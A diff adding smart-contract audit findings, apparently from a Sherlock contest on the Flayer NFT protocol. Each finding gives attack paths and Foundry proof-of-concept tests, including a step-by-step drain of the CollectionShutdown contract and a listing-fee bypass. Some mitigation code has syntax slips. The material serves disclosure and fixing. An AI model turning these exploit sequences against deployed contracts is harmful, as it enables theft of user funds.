+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+
+ // Load our new Listing into memory
+ Listing memory listing = _listing.listing;
+
+ // Ensure that the existing listing is available
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+ if (!isAvailable) revert ListingNotAvailable();
+
+ // We can process a tax refund for the existing listing
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+
+ // Find the underlying {CollectionToken} attached to our collection
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Validate our new listing
+ _validateCreateListing(_listing);
+
+ // Store our listing into our Listing mappings
+ _listings[_collection][_tokenId] = listing;
+
++++ _listings[_collection][_tokenId].created = uint40(block.timestamp);
+
+ // Pay our required taxes
+ payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);
+
+ // Emit events
+ emit ListingRelisted(_collection, _tokenId, listing);
+ }
+```
\ No newline at end of file
diff --git a/001/165.md b/001/165.md
new file mode 100644
index 0000000..1b25aac
--- /dev/null
+++ b/001/165.md
@@ -0,0 +1,151 @@
+Stable Chili Ferret
+
+Medium
+
+# Incorrect handling of `checkpointIndex` in `ProtectedListings.sol#createListings()` function
+
+### Summary
+
+The `ProtectedListings.sol#createListings()` function is implemented so that the ProtectedListing for the same collection has the same `checkpointIndex`. However, due to the handle-accurate handling of `checkpointIndex`, if `collectionCheckpoints` is empty array, the `checkpointIndex` for the next ProtectedListing is incorrectly calculated.
+
+
+### Root Cause
+
+Since the [`ProtectedListings.sol#_createCheckpoint()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L539-L557) function returns `index_ = 0` when `collectionCheckpoints` is an empty array, the `_createCheckpoint()` function is called again in the next `createListings()` function, so its ProtectedListing save a different `checkpointIndex`.
+
+
+### Internal pre-conditions
+
+- When `collectionCheckpoints` is an empty array, the `ProtectedListings.sol#createListings()` has to be called.
+
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+- The [`createListings()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117) function is called for `tokenId1`.
+
+ At this time, the [`checkpointIndex`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L134-L139) of the corresponding ProtectedListing becomes 0 and 0 is stored in `checkpointKey`.
+
+- The `createListings()` function is called for `tokenId2`.
+
+ Since the value of `checkpointKey` is 0, the `_createCheckpoint()` function is called again, and thus the `checkpointIndex` of the corresponding ProtectedListing becomes a non-zero value.
+
+- The [`ProtectedListings.sol#unlockPrice()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L607-L617) function is calculated incorrectly because the `checkpointIndex` is different for the same collection. This may result in unexpected loss of funds.
+
+
+### Impact
+
+The `unlockPrice` is calculated incorrectly due to a mismatch in `checkpointIndex`.
+
+### PoC
+
+```solidity
+function test_CheckPointIndexInconsistence(address payable _owner, uint _tokenId) public {
+ // Ensure that we don't get a token ID conflict
+ _assumeValidTokenId(_tokenId);
+
+ // Ensure that we don't set a zero address _owner
+ _assumeValidAddress(_owner);
+
+ // Capture the amount of ETH that the user starts with so that we can compute that
+ // they receive a refund of unused `msg.value` when paying tax.
+ uint _tokenId2 = _tokenId + 1;
+
+ // Mint our token to the _owner and approve the {Listings} contract to use it
+ erc721a.mint(_owner, _tokenId);
+ erc721a.mint(_owner, _tokenId2); //+++++
+
+ vm.prank(_owner);
+ erc721a.setApprovalForAll(address(protectedListings), true); //+++
+
+ IProtectedListings.ProtectedListing memory listing = IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: 0.4 ether,
+ checkpoint: 0
+ });
+
+
+ // Create our listing
+ vm.startPrank(_owner);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: listing
+ })
+ });
+
+ vm.warp(block.timestamp + 100);
+
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId2),
+ listing: listing
+ })
+ }); //+++
+
+ assertEq(protectedListings.listings(address(erc721a), _tokenId2).checkpoint, 0);
+ vm.stopPrank();
+ }
+```
+
+Result:
+```solidity
+Ran 1 test suite in 13.70ms (12.34ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
+
+Failing tests:
+Encountered 1 failing test in test/ProtectedListings.t.sol:ProtectedListingsTest
+[FAIL. Reason: assertion failed: 1 != 0; counterexample: calldata=0xd44b907a000000000000000000000000d5f364014e543b7da6b8520e2ee9830bbbc2c53f00000000000000000000000001a5c724bf1d54280555ddd98f21d128d6907574 args=[0xD5f364014E543B7DA6B8520e2ee9830bbBc2C53f, 9405961577681852482454780667039381560419710324 [9.405e45]]] test_CheckPointIndexInconsistence(address,uint256) (runs: 0, μ: 0, ~: 0)
+```
+
+
+### Mitigation
+
+It is recommended to the `ProtectedListings.sol#createListings()` function as follows:
+```solidity
+ function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+ // Loop variables
+ uint checkpointIndex;
+ bytes32 checkpointKey;
+ uint tokensIdsLength;
+ uint tokensReceived;
+
+ // Loop over the unique listing structures
+ for (uint i; i < _createListings.length; ++i) {
+ // Store our listing for cheaper access
+ CreateListing calldata listing = _createListings[i];
+
+ // Ensure our listing will be valid
+ _validateCreateListing(listing);
+
+ // Update our checkpoint for the collection if it has not been done yet for
+ // the listing collection.
+ checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+ assembly { checkpointIndex := tload(checkpointKey) }
+--- if (checkpointIndex == 0) {
++++ if (checkpointIndex == 0 && collectionCheckpoints[_collection].length) != 1) {
+ checkpointIndex = _createCheckpoint(listing.collection);
+ assembly { tstore(checkpointKey, checkpointIndex) }
+ }
+
+ // Map our listings
+ tokensIdsLength = listing.tokenIds.length;
+ tokensReceived = _mapListings(listing, tokensIdsLength, checkpointIndex) * 10 ** locker.collectionToken(listing.collection).denomination();
+
+ // Register our listing type
+ unchecked {
+ listingCount[listing.collection] += tokensIdsLength;
+ }
+
+ // Deposit the tokens into the locker and distribute ERC20 to user
+ _depositNftsAndReceiveTokens(listing, tokensReceived);
+
+ // Event fire
+ emit ListingsCreated(listing.collection, listing.tokenIds, listing.listing, tokensReceived, msg.sender);
+ }
+ }
+```
\ No newline at end of file
diff --git a/001/166.md b/001/166.md
new file mode 100644
index 0000000..21d4d1b
--- /dev/null
+++ b/001/166.md
@@ -0,0 +1,127 @@
+Stable Chili Ferret
+
+Medium
+
+# Incorrect CheckPoint of ProtectedListings created within the same block
+
+### Summary
+
+The `ProtectedListings.sol#_createCheckpoint` function returns an incorrect `checkpointIndex` within the same block, making it impossible to access checkpoints of later created ProtectedListings.
+
+
+### Root Cause
+
+In the `ProtectedListings.sol#_createCheckpoint` function, the checkpoint is not pushed within the same block, but the previous checkpoint is updated, but `index_` returns `collectionCheckpoints[_collection].length` as it is, so an array out-of-bounds access error occurs, making it impossible to access the ProtectedListing.
+Additionally, specifying an incorrect checkPoint can result in unexpected loss of funds.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+- After `_createCheckpoint()` is called within the same block, the `createListings()` function corresponding to the collection must be called.
+- Assume that there is an access call to that ProtectedListing immediately after the function call to explane this issue.
+
+
+### Attack Path
+
+Since the `_createCheckpoint()` function can be called in the function implementation, we will assume that there are two calls at the same time.
+
+- Alice creates a ProtectedListing using the [`ProtectedListings.sol#createListings()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117) function.
+- Bob calls the function concurrently, causing the transaction to be executed within the same block.
+- At this time, the [`_createCheckpoint()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L564-L567) function updates the checkpoint pushed by Alice and returns the length of the array.
+
+ Therefore, the checkpointIndex of Bob's ProtectedListing will be 1 more than Alice's checkpointIndex, which means that the corresponding checkpointIndex will be out of the indexing range of `collectionCheckpoints`.
+
+ As a result, Bob cannot access his ProtectedListing.
+
+### Impact
+
+- Users will lose access to their ProtectedListing and therefore lose their NFTs.
+- Incorrect checkpoint designation can result in unexpected loss of funds in the Protocol.
+
+### PoC
+
+```solidity
+ function test_IncorrectCheckPointIndex(address payable _owner, uint _tokenId) public {
+ _assumeValidTokenId(_tokenId);
+
+ _assumeValidAddress(_owner);
+
+ uint _tokenId2 = _tokenId + 10;
+
+ // Mint our token to the _owner and approve the {Listings} contract to use it
+ erc721a.mint(_owner, _tokenId);
+ erc721a.mint(_owner, _tokenId2);
+
+ vm.prank(_owner);
+ erc721a.setApprovalForAll(address(protectedListings), true); //+++
+
+ IProtectedListings.ProtectedListing memory listing = IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: 0.4 ether,
+ checkpoint: 0
+ });
+
+
+ // Create our listing
+ vm.startPrank(_owner);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: listing
+ })
+ });
+
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId2),
+ listing: listing
+ })
+ });
+
+ locker.collectionToken(address(erc721a)).approve(address(protectedListings), type(uint).max);
+ protectedListings.unlockProtectedListing(address(erc721a), _tokenId2, true);
+ vm.stopPrank();
+ }
+```
+
+Result:
+```solidity
+Ran 1 test suite in 12.42ms (10.67ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
+
+Failing tests:
+Encountered 1 failing test in test/ProtectedListings.t.sol:ProtectedListingsTest
+[FAIL. Reason: panic: array out-of-bounds access (0x32); counterexample: calldata=0x3b5e2f2c000000000000000000000000d5f364014e543b7da6b8520e2ee9830bbbc2c53f00000000000000000000000001a5c724bf1d54280555ddd98f21d128d6907574 args=[0xD5f364014E543B7DA6B8520e2ee9830bbBc2C53f, 9405961577681852482454780667039381560419710324 [9.405e45]]] test_CannotUnlockSameProtectedListing(address,uint256) (runs: 0, μ: 0, ~: 0)
+```
+
+
+### Mitigation
+
+It is recommended to the `ProtectedListings.sol#_createCheckpoint()` function as follows:
+```solidity
+ function _createCheckpoint(address _collection) internal returns (uint index_) {
+ // Determine the index that will be created
+ index_ = collectionCheckpoints[_collection].length;
+
+ // Register the checkpoint that has been created
+ SNIP...
+
+ // Get our new (current) checkpoint
+ Checkpoint memory checkpoint = _currentCheckpoint(_collection);
+
+ // If no time has passed in our new checkpoint, then we just need to update the
+ // utilization rate of the existing checkpoint.
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+--- return index_;
++++ return index_ - 1;
+ }
+
+ // Store the new (current) checkpoint
+ collectionCheckpoints[_collection].push(checkpoint);
+ }
+```
\ No newline at end of file
diff --git a/001/167.md b/001/167.md
new file mode 100644
index 0000000..253a9e7
--- /dev/null
+++ b/001/167.md
@@ -0,0 +1,109 @@
+Stable Chili Ferret
+
+Medium
+
+# Missing validation for `MAX_SHUTDOWN_TOKENS` in `CollectionShutdown.sol#execute()` function
+
+### Summary
+
+Since the validation for `MAX_SHUTDOWN_TOKENS` is missing in the `CollectionShutdown.sol#execute()` function, even an activated Collection can be shut down.
+
+
+### Root Cause
+
+There is no validation for `MAX_SHUTDOWN_TOKENS` in [`CollectionShutdown.sol#execute()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231) function.
+
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+When `execute()` is called, there must be at least 4 ERC20 tokens in circulation.
+
+### Attack Path
+
+The `CollectionShutdown.sol#execute()` function does not prevent the shutdown process even if there are 4 or more tokens currently in circulation, that is, the pool is active.
+
+### Impact
+
+A shutdown process can be performed on an activated pool.
+
+### PoC
+
+`MAX_SHUTDOWN_TOKENS` is the maximum number of tokens in active circulation for a collection that can be shutdown.
+```solidity
+ /// The maximum number of tokens in active circulation for a collection that
+ /// can be shutdown.
+ uint public constant MAX_SHUTDOWN_TOKENS = 4 ether;
+```
+In the [`CollectionShutdown.sol#start()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135) function, a check is performed for MAX_SHUTDOWN_TOKENS to prevent the shutdown process if the pool corresponding to the collection is activated.
+```solidity
+ if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
+```
+However, in the `CollectionShutdown.sol#execute()` function, `params.quorumVotes` is updated and the function is executed regardless of whether `totalSupply()` is greater than MAX_SHUTDOWN_TOKENS.
+```solidity
+ uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+ if (params.quorumVotes != newQuorum) {
+ params.quorumVotes = uint88(newQuorum);
+ }
+```
+Therefore, the shutdown process may proceed even while the pool is active, which may result in unexpected losses.
+
+It also violates the restrictions of the protocol.
+
+
+### Mitigation
+
+It is recommended to modify the `CollectionShutdown.sol#execute()` function as follows:
+```solidity
+ function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Ensure we have specified token IDs
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength == 0) revert NoNFTsSupplied();
+
+ // Check that no listings currently exist
+ if (_hasListings(_collection)) revert ListingsExist();
+
+ // Refresh total supply here to ensure that any assets that were added during
+ // the shutdown process can also claim their share.
+--- uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
++++ uint totalSupply = params.collectionToken.totalSupply();
++++ if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
++++ uint newQuorum = totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+ if (params.quorumVotes != newQuorum) {
+ params.quorumVotes = uint88(newQuorum);
+ }
+
+ // Lockdown the collection to prevent any new interaction
+ locker.sunsetCollection(_collection);
+
+ // Iterate over our token IDs and transfer them to this contract
+ IERC721 collection = IERC721(_collection);
+ for (uint i; i < _tokenIdsLength; ++i) {
+ locker.withdrawToken(_collection, _tokenIds[i], address(this));
+ }
+
+ // Approve sudoswap pair factory to use our NFTs
+ collection.setApprovalForAll(address(pairFactory), true);
+
+ // Map our collection to a newly created pair
+ address pool = _createSudoswapPool(collection, _tokenIds);
+
+ // Set the token IDs that have been sent to our sweeper pool
+ params.sweeperPoolTokenIds = _tokenIds;
+ sweeperPoolCollection[pool] = _collection;
+
+ // Update our collection parameters with the pool
+ params.sweeperPool = pool;
+
+ // Prevent the collection from being executed again
+ params.canExecute = false;
+ emit CollectionShutdownExecuted(_collection, pool, _tokenIds);
+ }
+```
\ No newline at end of file
diff --git a/001/172.md b/001/172.md
new file mode 100644
index 0000000..cc23cb6
--- /dev/null
+++ b/001/172.md
@@ -0,0 +1,149 @@
+Tiny Plastic Hyena
+
+Medium
+
+# A user could create a reserved listing and instantly liquidate it, bypassing the usual listing fees charged by the protocol
+
+### Summary
+
+The ability for a user to self liquidate without suffering any financial penalty will lead to the loss of fee revenue for the protocol, as well as a messy marketplace in which many floor quality NFTs are perpetually relisted in high priced Dutch auctions.
+
+### Root Cause
+
+In Listings.sol, the [creation of a liquidation listing](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L168-L207) bypasses listing fees. This is by design because ordinarily fees are payed up front by the seller and taken out of the fToken they initially receive.
+
+However, this opens up the door for a way for users to bypass fees entirely if they are clever enough. In ProtectedListings.sol, liquidateProtectedListing() may be used on one's own listing. The only penalty for being liquidated is the 0.05 keeper fee which is deducted [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L464-L470). However, if a user self liquidates, they suffer no penalty at all and get the luxury of a tax free 4x floor price 4 day dutch auction.
+
+```solidity
+ function liquidateProtectedListing(address _collection, uint _tokenId) public lockerNotPaused listingExists(_collection, _tokenId) {
+ ....
+ // Keeper gets 0.05 as a reward for triggering the liquidation
+ // @audit in the event of self liquidation, the 0.05 fTokens are given back to the user
+@> collectionToken.transfer(msg.sender, KEEPER_REWARD * 10 ** denomination);
+
+ ...
+ // Send the remaining tokens to {Locker} implementation as fees
+ // @audit if the listing is for the maximum tokenTaken, no fees are taken from user here
+@> uint remainingCollateral = (1 ether - listing.tokenTaken - KEEPER_REWARD) * 10 ** denomination;
+ if (remainingCollateral > 0) {
+ IBaseImplementation implementation = locker.implementation();
+ collectionToken.approve(address(implementation), remainingCollateral);
+ implementation.depositFees(_collection, 0, remainingCollateral);
+ }
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User creates a protected listing and withdraws the maximum amount of fTokens allowed (0.95)
+2. The very next block the user liquidates the listing
+3. The asset is now listed at 4x the floor with no fees charged
+
+### Impact
+
+This could lead to a loss of revenue for the protocol given that it costs the attacker nothing to list their NFTs. Additionally, it could make the marketplace very messy, with mispriced NFTs dominating the active listings.
+
+Ordinarily a 4 day dutch auction starting at 4x the floor price would cost the seller ~0.051 fTokens if allowed to run all the way down to zero. This is a relatively high amount of lost revenue.
+
+### PoC
+
+Please copy and paste the following into Listings.t.sol:
+```solidity
+function test_BypassTaxViaSelfLiquidation() public {
+
+ address payable bypasserWallet = payable(makeAddr("bypasserWallet"));
+ uint tokenId = 5;
+
+ // Mint a mock erc to the bypasser
+ erc721a.mint(bypasserWallet, tokenId);
+
+ // The bypasser creates a protected listing and takes the maximum amount
+ vm.startPrank(bypasserWallet);
+
+ erc721a.approve(address(protectedListings), tokenId);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(5),
+ listing: IProtectedListings.ProtectedListing({
+ owner: bypasserWallet,
+ tokenTaken: 0.95 ether,
+ checkpoint: 0
+ })
+ })
+ });
+
+ // wait one second, then liquidate
+ vm.warp(block.timestamp + 1);
+ protectedListings.liquidateProtectedListing(address(erc721a), 5);
+
+ // wait 4 days for the end of the dutch auction - ordinarily this would rack up fees
+ vm.warp(block.timestamp + 4 days);
+
+ // a buyer purchases the asset
+ address buyer = makeAddr("buyer");
+ deal(address(locker.collectionToken(address(erc721a))), buyer, 1 ether);
+
+ vm.startPrank(buyer);
+ locker.collectionToken(address(erc721a)).approve(address(listings), type(uint).max);
+
+ uint[][] memory tokenIdsOut = new uint[][](1);
+ tokenIdsOut[0] = new uint[](1);
+ tokenIdsOut[0][0] = tokenId;
+ IListings.FillListingsParams memory fillParams = IListings.FillListingsParams({
+ collection: address(erc721a),
+ tokenIdsOut: tokenIdsOut
+ });
+
+ listings.fillListings(fillParams);
+
+ // the bypasser suffers no tax and no liquidation penality
+ assertEq(locker.collectionToken(address(erc721a)).balanceOf(bypasserWallet), 1e18);
+ }
+
+
+```
+
+If interested in the amount of funds lost for every such tax bypassing listed, paste this in Listings.t.sol as well:
+```solidity
+ function test_CostOfListing4X() public {
+
+ address payable seller = payable(makeAddr("seller"));
+ uint tokenId = 5;
+
+ // Mint a mock erc to the bypasser
+ erc721a.mint(seller, tokenId);
+
+ vm.startPrank(seller);
+ erc721a.approve(address(listings), tokenId);
+
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(tokenId),
+ listing: IListings.Listing({
+ owner: seller,
+ created: uint40(block.timestamp),
+ duration: 4 days,
+ floorMultiple: 400
+ })
+ })
+ });
+
+ uint256 recieved = locker.collectionToken(address(erc721a)).balanceOf(seller);
+
+ // cost of listing
+ assertEq(1 ether - recieved, 51428571428571428);
+ }
+```
+
+### Mitigation
+
+Rather than using the _isLiquidation tag to bypass fee refunds, consider using it to charge fees before the user receives his or her share. This would eliminate any incentive for doing this.
\ No newline at end of file
diff --git a/001/173.md b/001/173.md
new file mode 100644
index 0000000..a523935
--- /dev/null
+++ b/001/173.md
@@ -0,0 +1,126 @@
+Raspy Raspberry Tapir
+
+High
+
+# Stale shutdown params can be reused to drain all funds from `CollectionShutdown` contract
+
+### Summary
+
+When a collection is being shutdown via `CollectionShutdown` contract, the shutdown parameters are not properly cleaned up, and can be reused to mount an attack on the contract. In particular, a new collection can be created for the same ERC-721 contract, and then a shutdown may be started again via a particular sequence of calls: `reclaimVote` -> `start`. As `CollectionShutdown` indexes all internal datastructures and external operations via the address of the ERC-721 contract, this leads to mixing the outdated shutdown parameters with the parameters of the new collection (in particular the old and the new collection token). Moreover, as attacker's balance of the new collection token is now used instead of the old one, the attacker can claim (via `voteAndClaim`) much more than was received from the token sale of the old collection, thus draining all contract funds.
+
+### Root Cause
+
+The execution logic of certain functions of `CollectionShutdown` is flawed; in particular:
+ - Method [reclaimVote](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L356-L377) can be called _after_ the shutdown process started to execute;
+ - Execution of method [start](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L157) is guarded by the precondition `params.shutdownVotes == 0`, which can be made true by the above function `reclaimVote`. Besides that, `start` leaves stale data in `CollectionShutdownParams`.
+
+### Internal pre-conditions
+
+none
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+1. The attacker creates a collection for some ERC-721 contract
+2. The attacker deposits an NFT, and receives 1 ether of collection token
+3. The attacker starts collection shutdown from address(1)
+4. Shutdown executed normally; some tokens are posted to Sudoswap for sale
+5. The attacker buys NFTs for 100 ether
+6. The attacker reclaims their vote, to enable starting the shutdown again
+7. The attacker creates a new collection for the same ERC-721 contract; a new collection token is created by Locker
+8. The attacker deposits an NFT, and receives 1 ether of the new collection token
+9. The attacker starts collection shutdown again from address(1); this redirects collection token to the new one in shutdown params
+10. The attacker deposits NFTs, and receives 11 ether of the new collection token to address(2)
+11. Attacker votes and claims, reusing stale, partially updated shutdown params
+12. There were 100 ether received from Sudoswap sale upon the first shutdown. As now the attacker claims with their balance of collectionToken2 == 11 ether, they receive 100 ether * 11 == 1100 ether, thus stealing 1000 ether.
+
+### Impact
+
+All funds are drained from the `CollectionShutdown` contract.
+
+### PoC
+
+Drop this test to [CollectionShutdown.t.sol](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/test/utils/CollectionShutdown.t.sol#L51) and execute with `forge test --match-test test_ReuseShutdownParamsToStealFunds`:
+
+```solidity
+function test_ReuseShutdownParamsToStealFunds() public {
+ // Some initial balance of CollectionShutdown
+ vm.deal(address(collectionShutdown), 1000 ether);
+
+ // 1. The attacker creates a collection for some ERC-721 contract (done in the test setup)
+
+ // 2. The attacker deposits an NFT, and receives 1 ether of collection token
+ vm.startPrank(address(locker));
+ collectionToken.mint(address(1), 1 ether);
+ vm.stopPrank();
+
+ // 3. The attacker starts collection shutdown from address(1)
+ vm.startPrank(address(1));
+ collectionToken.approve(address(collectionShutdown), 1 ether);
+ collectionShutdown.start(address(erc721b));
+ vm.stopPrank();
+
+ // 4. Shutdown executed normally; some tokens are posted to Sudoswap for sale
+ // Mint NFTs into our collection {Locker} and process the execution
+ uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);
+ collectionShutdown.execute(address(erc721b), tokenIds);
+ // Mock the process of the Sudoswap pool liquidating the NFTs for ETH.
+
+ // 5. The attacker buys NFTs for 100 ether
+ _mockSudoswapLiquidation(SUDOSWAP_POOL, tokenIds, 100 ether);
+
+ // 6. The attacker reclaims their vote, to enable starting the shutdown again
+ vm.startPrank(address(1));
+ collectionShutdown.reclaimVote(address(erc721b));
+ vm.stopPrank();
+
+ // 7. The attacker creates a new collection for the same ERC-721
+ locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 0);
+ // Initialize our collection, without inflating `totalSupply` of the {CollectionToken}
+ locker.setInitialized(address(erc721b), true);
+ // A new collection token is created by Locker
+ ICollectionToken collectionToken2 = locker.collectionToken(address(erc721b));
+
+ // 8. The attacker deposits an NFT, and receives 1 ether of the new collection token
+ vm.startPrank(address(locker));
+ collectionToken2.mint(address(1), 1 ether);
+ vm.stopPrank();
+
+ // 9. The attacker starts collection shutdown again from address(1)
+ // This redirects collection token to the new one in shutdown params
+ vm.startPrank(address(1));
+ collectionToken2.approve(address(collectionShutdown), 1 ether);
+ collectionShutdown.start(address(erc721b));
+ vm.stopPrank();
+
+ // 10. The attacker deposits NFTs,
+ // and receives 11 ether of the new collection token to address(2)
+ vm.startPrank(address(locker));
+ collectionToken2.mint(address(2), 11 ether);
+ vm.stopPrank();
+
+ // Get our start balances so that we can compare to closing balances from claim
+ uint startBalanceAddress = payable(address(2)).balance;
+
+ // 11. The attacker votes and claims, reusing stale, partially updated shutdown params
+ vm.startPrank(address(2));
+ collectionToken2.approve(address(collectionShutdown), 11 ether);
+ collectionShutdown.voteAndClaim(address(erc721b));
+ vm.stopPrank();
+
+ // 12. There were 100 ether received from Sudoswap sale upon the first shutdown.
+ // As now attacker claims with the balance of collectionToken2 == 11 ether,
+ // they receive 100 ether * 11 == 1100 ether, thus stealing 1000 ether
+ assertEq(payable(address(2)).balance - startBalanceAddress, 1100 ether);
+}
+```
+
+### Mitigation
+
+- Disallow calling `reclaimVote` at any point in time after the shutdown can be executed.
+- In `start`, properly clean up all `CollectionShutdownParams`.
+
+Additionally, we recommend for the `CollectionShutdown` contract to index both internal datastructures and external functions not with the address of an ERC-721 contract, but with the address of a collection token contract. This will help to clearly differentiate between various reincarnations of the same ERC-721 contract as different collections / collection tokens, as well as to enable cleanly shutting down the collection even if some operations are still performed with the ERC-721 tokens.
\ No newline at end of file
diff --git a/001/174.md b/001/174.md
new file mode 100644
index 0000000..32450f2
--- /dev/null
+++ b/001/174.md
@@ -0,0 +1,118 @@
+Wonderful Rouge Hamster
+
+High
+
+# Attacker can cancel an executed shutdown
+
+### Summary
+
+An attacker can cancel an executed shutdown causing proceeds from the sudoswap sales to be stuck in the CollectionShutdown contract.
+
+### Root Cause
+
+In [CollectionShutdown.sol:209](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L209) `canExecute` can be set to true even after the shutdown has been executed by anybody who hasn't voted previously.
+
+With `canExecute` set to `true` you can execute [cancel()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L403) to delete the `collectionParams`. With that struct deleted, [claim()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L292) will revert because `sweeperPool == address(0)`.
+
+### Internal pre-conditions
+
+none
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+1. After a shutdown has started, the attacker mints collection tokens such that `totalSupply > 4e18 * 10 ** denomination`
+2. Attacker votes for the shutdown to reach quorum
+3. Attacker executes the shutdown
+4. Attacker reclaims their votes (allowing them to vote again)
+5. Attacker votes again (sets `canExecute = true`)
+6. Attacker creates a new collection token for the collection
+7. Attacker calls `cancel()` causing `collectionParams` to be deleted for the collection which resets everything.
+
+
+### Impact
+
+All the profit from the sale of the locked NFTs through the sudoswap pool will be stuck in the CollectionShutdown contract. Holders of the collection token won't be able to claim the proceeds.
+
+### PoC
+
+```diff
+diff --git a/flayer/test/utils/CollectionShutdown.t.sol b/flayer/test/utils/CollectionShutdown.t.sol
+index d4ed299..e1f0ec4 100644
+--- a/flayer/test/utils/CollectionShutdown.t.sol
++++ b/flayer/test/utils/CollectionShutdown.t.sol
+@@ -49,6 +49,86 @@ contract CollectionShutdownTest is Deployers, FlayerTest {
+ ILSSVMPairFactoryLike(PAIR_FACTORY).setBondingCurveAllowed(ICurve(RANGE_CURVE), true);
+ }
++
++ function test_cancel_attack() public {
++ locker.createCollection(address(erc721c), "Test Test", "T", 0);
++ locker.setInitialized(address(erc721c), true);
++ erc721c.mint(address(this), 1);
++ erc721c.approve(address(locker), 1);
++ uint[] memory tokenIds = new uint[](1);
++ tokenIds[0] = 1;
++ locker.deposit(address(erc721c), tokenIds);
++
++ ICollectionToken token = locker.collectionToken(address(erc721c));
++ token.approve(address(collectionShutdown), type(uint).max);
++
++ vm.startPrank(address(locker));
++ token.mint(address(1), 3e18);
++ vm.stopPrank();
++
++ vm.startPrank(address(1));
++ token.approve(address(collectionShutdown), type(uint).max);
++ collectionShutdown.start(address(erc721c));
++ vm.stopPrank();
++
++ address attacker = vm.addr(229);
++ vm.startPrank(address(locker));
++ token.mint(attacker, 1.5e18);
++ vm.stopPrank();
++
++
++ // after the attacker votes, the shutdown will be executable
++ vm.startPrank(attacker);
++ token.approve(address(collectionShutdown), type(uint).max);
++ collectionShutdown.vote(address(erc721c));
++
++ vm.stopPrank();
